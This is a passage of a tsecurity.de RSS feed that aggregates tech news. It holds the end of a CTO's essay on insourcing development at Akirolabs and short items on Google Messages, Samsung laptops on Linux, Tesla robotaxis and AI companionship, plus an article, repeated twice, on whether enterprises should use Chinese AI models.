<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to theme Google Messages threads to better distinguish a chat]]></title>
<description><![CDATA[With dozens of chats on the go, you've probably had an occasion where you've sent the wrong response to the wrong person. I've found a way to avoid this problem.]]></description>
<link>https://tsecurity.de/de/3685705/it-nachrichten/how-to-theme-google-messages-threads-to-better-distinguish-a-chat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685705/it-nachrichten/how-to-theme-google-messages-threads-to-better-distinguish-a-chat/</guid>
<pubDate>Wed, 22 Jul 2026 10:48:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With dozens of chats on the go, you've probably had an occasion where you've sent the wrong response to the wrong person. I've found a way to avoid this problem.]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Performance Mode on Linux]]></title>
<description><![CDATA[Hey everyobody. I'll start by saying I don't know much about computer stuff and Linux but it's been a year since I've been considering switching to a Linux distro. I just can't stand all the Windows bloatwere and useless features that get my RAM full. The only thing keeping me from totally switch...]]></description>
<link>https://tsecurity.de/de/3685111/linux-tipps/samsung-performance-mode-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685111/linux-tipps/samsung-performance-mode-on-linux/</guid>
<pubDate>Wed, 22 Jul 2026 04:12:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey everyobody. I'll start by saying I don't know much about computer stuff and Linux but it's been a year since I've been considering switching to a Linux distro. I just can't stand all the Windows bloatwere and useless features that get my RAM full. The only thing keeping me from totally switching is the samsung's built-in performance mode selector. See, I bought this Galaxy Book 2 Pro SE a year ago and as you may know Samsung has a couple cool features on their laptops; this feature in particular is really useful for the use I do of my laptop, and I couldn't find an answer online about my doubt. I can switch between 4 different performance modes (from No Noise to High Performance) and since that's a Samsung's feature I don't know if that will work if I switch. Do y'all know if there's a way to have this feature on Linux or some equivalent? I don't know if what I'm asking is dumb, thanks for your time anyway!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/fferdyz"> /u/fferdyz </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v2zk76/samsung_performance_mode_on_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v2zk76/samsung_performance_mode_on_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to manage Local File System autonomously with Microsoft Scout]]></title>
<description><![CDATA[Managing files across multiple projects can quickly become repetitive. Creating folders, locating files, updating configuration files, and cleaning up outdated content often takes more time than expected. Instead of manually handling these tasks, Microsoft Scout can automate much of the work by u...]]></description>
<link>https://tsecurity.de/de/3684933/windows-tipps/how-to-manage-local-file-system-autonomously-with-microsoft-scout/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684933/windows-tipps/how-to-manage-local-file-system-autonomously-with-microsoft-scout/</guid>
<pubDate>Wed, 22 Jul 2026 00:18:04 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="381" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools.png" class="attachment-full size-full wp-post-image" alt="Managing your Local File System Autonomously with Microsoft Scout" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools-500x272.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools-300x163.png 300w" sizes="(max-width: 700px) 100vw, 700px">Managing files across multiple projects can quickly become repetitive. Creating folders, locating files, updating configuration files, and cleaning up outdated content often takes more time than expected. Instead of manually handling these tasks, Microsoft Scout can automate much of the work by understanding your requests and interacting directly with your local workspace. In this post, […]</p>
<p>This article <a href="https://www.thewindowsclub.com/manage-local-file-system-autonomously-with-microsoft-scout">How to manage Local File System autonomously with Microsoft Scout</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla Robotaxis Go To Florida]]></title>
<description><![CDATA[Tesla says it is launching its Robotaxi service in Orlando and Tampa, though it has not shared fleet sizes or whether customers can immediately hail rides. The Verge notes the announcement lands on Tesla earnings day and comes as the company's robotaxi rollout remains far smaller than Elon Musk p...]]></description>
<link>https://tsecurity.de/de/3684927/it-security-nachrichten/tesla-robotaxis-go-to-florida/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684927/it-security-nachrichten/tesla-robotaxis-go-to-florida/</guid>
<pubDate>Wed, 22 Jul 2026 00:14:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tesla says it is launching its Robotaxi service in Orlando and Tampa, though it has not shared fleet sizes or whether customers can immediately hail rides. The Verge notes the announcement lands on Tesla earnings day and comes as the company's robotaxi rollout remains far smaller than Elon Musk previously projected, with tracker data showing only a small number of unsupervised vehicles operating in existing cities. From the report: [B]ack in May, Tesla had five unsupervised robotaxis in Dallas, six in Houston, and 29 in Austin. As of today, there are only 17 unsupervised vehicles in Austin, four in Dallas, and zero in Houston, according to the Robotaxi Tracker. By comparison, Waymo is estimated to have over 3,500 fully driverless vehicles in operation across over 10 cities.
 
Like Waymo, Tesla typically introduces robotaxis to a new city with a safety driver behind the wheel. Unlike Waymo, sometimes Tesla moves that person over to the passenger seat with access to a kill switch should anything go wrong. The company has been inconsistent in how it rolls out its robotaxis to new markets. The numbers go up and down, with zero explanation from the company as to why.
 
[...] By adding new cities, Tesla is clearly trying to sell investors on the idea that its robotaxi project is growing. But the fluctuating fleet size, inconsistency in supervised vs unsupervised vehicles, and long wait times tell a very different story.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Tesla+Robotaxis+Go+To+Florida%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F21%2F2037254%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F21%2F2037254%2Ftesla-robotaxis-go-to-florida%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/21/2037254/tesla-robotaxis-go-to-florida?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We’re Asking All the Wrong Questions About AI Companionship]]></title>
<description><![CDATA[In her new book, Bridget Todd argues that the problem isn’t people who use AI for companionship, it’s the tech companies building them.]]></description>
<link>https://tsecurity.de/de/3684785/it-nachrichten/were-asking-all-the-wrong-questions-about-ai-companionship/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684785/it-nachrichten/were-asking-all-the-wrong-questions-about-ai-companionship/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In her new book, Bridget Todd argues that the problem isn’t people who use AI for companionship, it’s the tech companies building them.]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:24:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199590/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
